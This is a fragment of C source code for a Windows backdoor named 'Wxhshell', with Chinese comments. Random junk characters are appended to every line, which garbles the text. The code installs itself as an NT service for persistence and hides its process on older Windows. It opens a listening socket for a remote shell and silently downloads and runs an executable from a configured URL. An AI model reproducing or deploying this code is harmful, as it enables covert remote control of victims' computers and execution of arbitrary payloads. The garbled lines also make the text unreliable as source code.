ULONG InheritedFromUniqueProcessId; 4a 4N
C
} PROCESS_BASIC_INFORMATION; B<C&ay
#'g^Za
PROCNTQSIP NtQueryInformationProcess; \AJS,QD
{0fz9"|U
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =?+w)(*0c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xtsL8-u f
iRouLd
HANDLE hProcess; `+fk`5Y
PROCESS_BASIC_INFORMATION pbi; pDmK
l<n5gfJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1 Xa+%n9
if(NULL == hInst ) return 0; wVQdUtmk
_2; ^v`[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $*i7?S@~-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pzAoq)gg:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !(yT7#?hP
p}f-c
if (!NtQueryInformationProcess) return 0; Wv NI=>
*78)2)=~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qlEFJ5;
if(!hProcess) return 0; E{I)]h
y,^";7U
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1h{>[ 'L
UIz:=DJ
CloseHandle(hProcess); KZW'O
b>[
$(XgKq&xWZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q;Q%SI`yT
if(hProcess==NULL) return 0; yz8-&4YRNd
J2'W =r_#
HMODULE hMod; ,y{0bq9*2
char procName[255];
_2#zeT5
unsigned long cbNeeded; CQ$::;
/M]eZ~QKD
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sK `<kbj
AzxL%,_
CloseHandle(hProcess); UDVf@[[hN
)7k&`?Mh
if(strstr(procName,"services")) return 1; // 以服务启动 76$*1jB
u7n[f@Eg,%
return 0; // 注册表启动 uFC?_q?4\
} NWb}
OXK/
TbMdQbj}
// 主模块 !5?
m
int StartWxhshell(LPSTR lpCmdLine) =MCNCV/<
{ T!1SMo^
SOCKET wsl; UKOFT6|
BOOL val=TRUE; qP&byEs"
int port=0; !e&rVoA
struct sockaddr_in door; 2+,5p
,%[LwmET
if(wscfg.ws_autoins) Install(); J"5jy$30'$
=w?M_[&K)
port=atoi(lpCmdLine); u0s'6=
m$,cH>E
if(port<=0) port=wscfg.ws_port; WN$R[N
RZW$!tyI=
WSADATA data; %3rTQ:X
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r)OO&. P@j
{=s:P|ah
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "havi,m
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ob)Q,;8R
door.sin_family = AF_INET; Y~:}l9Qs
door.sin_addr.s_addr = inet_addr("127.0.0.1"); B;SzuCW
door.sin_port = htons(port); 3mk=ZWwv
Ap%d<\,Z
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8^8>qSD1
closesocket(wsl); A%h~Z
a
return 1; ]7v81G5E
} Wgav>7!9
ax4*xxU
if(listen(wsl,2) == INVALID_SOCKET) { O+p]3u
closesocket(wsl); MF&3e#mdB
return 1; >_-!zjO8u
} ``+c`F?5
Wxhshell(wsl); ] xb]8]
WSACleanup(); <njIXa{
{d^Q7A:`
return 0; -xw98
y!SF/i?Py
} /%62X{=>;
a#^_"GX
// 以NT服务方式启动 *e%Dg{_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M8\G>0Hc6
{ I<c@uXXV;!
DWORD status = 0; kmmL>fCV"M
DWORD specificError = 0xfffffff; "|F.'qZrm
f( ]R/'o
serviceStatus.dwServiceType = SERVICE_WIN32; mPckf
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
(L`l+t1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;0;3BH A
serviceStatus.dwWin32ExitCode = 0; f9vcf# 2
serviceStatus.dwServiceSpecificExitCode = 0; ~l(G6/R
serviceStatus.dwCheckPoint = 0; 'CS^2Z
serviceStatus.dwWaitHint = 0; mr@_%U
N )'8o}E
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I0I_vu
if (hServiceStatusHandle==0) return; ^OsA+Ea\
sP9 ^IP
status = GetLastError(); 7X(rLd
6#
if (status!=NO_ERROR) MhHr*!N"}
{ 4,j4E@?pG9
serviceStatus.dwCurrentState = SERVICE_STOPPED; A
*a{
serviceStatus.dwCheckPoint = 0; Km[]^;6
serviceStatus.dwWaitHint = 0; FTbT9
serviceStatus.dwWin32ExitCode = status; I%pCm||p
serviceStatus.dwServiceSpecificExitCode = specificError; |)28=Z|Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Vs~RJM)}
return; \k|_&hG
} xR0~S
3caI
ARmu{cL
serviceStatus.dwCurrentState = SERVICE_RUNNING; BXT80a\
serviceStatus.dwCheckPoint = 0; n"XdHW0
serviceStatus.dwWaitHint = 0; Tq9,c#}&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %|#P&`
} P=f<#l"v
F"-S~I7'L
// 处理NT服务事件,比如:启动、停止
NdM}xh
VOID WINAPI NTServiceHandler(DWORD fdwControl) p^p'/$<6_
{ WA<H
switch(fdwControl) mw:3q6
{ )W[KD,0+j
case SERVICE_CONTROL_STOP: QV`X?m
serviceStatus.dwWin32ExitCode = 0; OI'uH$y
serviceStatus.dwCurrentState = SERVICE_STOPPED; <FXQxM5"
serviceStatus.dwCheckPoint = 0;
HT{F$27W
serviceStatus.dwWaitHint = 0; 6>@(/mh*
{ J% :WLQo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4aj[5fhb-
} t9-_a5>E\}
return; w~bG<kxP
case SERVICE_CONTROL_PAUSE: zd?bHcW/h
serviceStatus.dwCurrentState = SERVICE_PAUSED; $~
pr+Ei
break; `Mo~EHso.
case SERVICE_CONTROL_CONTINUE: r0~ 7v1rG
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2Som0T<2
break; L@C >-F|p
case SERVICE_CONTROL_INTERROGATE: #cw!
&
break; k\4g|Lya
}; @).WIs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JA}S{
} y&n1 Nj]^
wk-Mu\
// 标准应用程序主函数 N2[, aU
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L~^e\^sP
{ 1.hOE>A%
ZkJY.H-F
// 获取操作系统版本 &>d:ewM\
OsIsNt=GetOsVer(); $=\oJ-(!@S
GetModuleFileName(NULL,ExeFile,MAX_PATH); @qg0u#k5
~0VwF
// 从命令行安装 I>N-95
if(strpbrk(lpCmdLine,"iI")) Install(); pKOT Qf
H j>L>6>
// 下载执行文件 d_4n0Kh0
if(wscfg.ws_downexe) { ;n yB
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R*JOiVAC
WinExec(wscfg.ws_filenam,SW_HIDE); N&R
'$w
} U92B+up-
f9h:"Dnzin
if(!OsIsNt) { OlD7-c2L]
// 如果时win9x,隐藏进程并且设置为注册表启动 Ktg&G<%J0
HideProc(); m
_t(rn~f6
StartWxhshell(lpCmdLine); |_Naun=+~
} 9b{g+lMZo
else "2y7l
if(StartFromService()) }e&KO?x+
// 以服务方式启动 ANA2S*r
StartServiceCtrlDispatcher(DispatchTable); J8qu]{0I"
else TzD:bKE&
// 普通方式启动 o=a:L^nt,
StartWxhshell(lpCmdLine); 7?kXgR[#d
#C;#$|d
return 0; 2:smt)f
}